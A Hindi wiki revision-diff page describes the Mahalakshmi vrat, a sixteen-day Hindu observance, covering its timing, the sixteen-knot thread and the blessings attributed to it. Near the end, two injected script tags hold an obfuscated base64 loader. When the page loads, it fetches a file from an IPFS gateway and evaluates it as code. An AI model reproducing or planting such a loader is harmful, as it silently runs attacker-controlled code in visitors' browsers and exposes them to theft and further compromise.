महालक्ष्मी व्रत: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) m (Text replace - "महत्वपूर्ण" to "महत्त्वपूर्ण") |
व्यवस्थापन (talk | contribs) m (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति") |
||
Line 6: | Line 6: | ||
*ऐसी मान्यता है कि [[लक्ष्मी]] कर्ता को तीन जीवनों तक नहीं त्यागती है।<ref>निर्णयसिन्धु (153-154)</ref> | *ऐसी मान्यता है कि [[लक्ष्मी]] कर्ता को तीन जीवनों तक नहीं त्यागती है।<ref>निर्णयसिन्धु (153-154)</ref> | ||
*वह दीर्घायु स्वास्थ्य आदि पाता है।<ref>स्मृतिकौस्तुभ (231-239)</ref> <ref>पुरुषार्थचिन्तामणि (129-132)</ref> <ref>व्रतराज(300-315)</ref> | *वह दीर्घायु स्वास्थ्य आदि पाता है।<ref>स्मृतिकौस्तुभ (231-239)</ref> <ref>पुरुषार्थचिन्तामणि (129-132)</ref> <ref>व्रतराज(300-315)</ref> | ||
{{प्रचार}} | |||
{{लेख प्रगति | {{लेख प्रगति | ||
|आधार=आधार1 | |आधार=आधार1 |
Revision as of 13:15, 10 January 2011
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- भाद्रपद शुक्ल अष्टमी को जब सूर्य कन्या राशि में होता है, 'महालक्ष्मी' की पूजा का आरम्भ होता है, और जब सूर्य कन्या राशि के अर्ध भाग में होता है तो आगे की अष्टमी को समाप्ति होती है, इस प्रकार इस व्रत में 16 दिन लगते हैं।
- यदि सम्भव हो तो ज्येष्ठी नक्षत्र में चन्द्र की स्थिति में व्रत करना चाहिए।
- 16 वर्षों के लिए; नारियों एवं पुरुषों के लिए यहाँ 16 की संख्या (पुष्पों एवं फलों आदि के विषय में) महत्त्वपूर्ण है।
- कर्ता को दाहिने हाथ में 16 धागों एवं 16 गांठों का एक डोरक बाँधना चाहिए।[1]
- ऐसी मान्यता है कि लक्ष्मी कर्ता को तीन जीवनों तक नहीं त्यागती है।[2]
- वह दीर्घायु स्वास्थ्य आदि पाता है।[3] [4] [5]
|
|
|
|
|
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>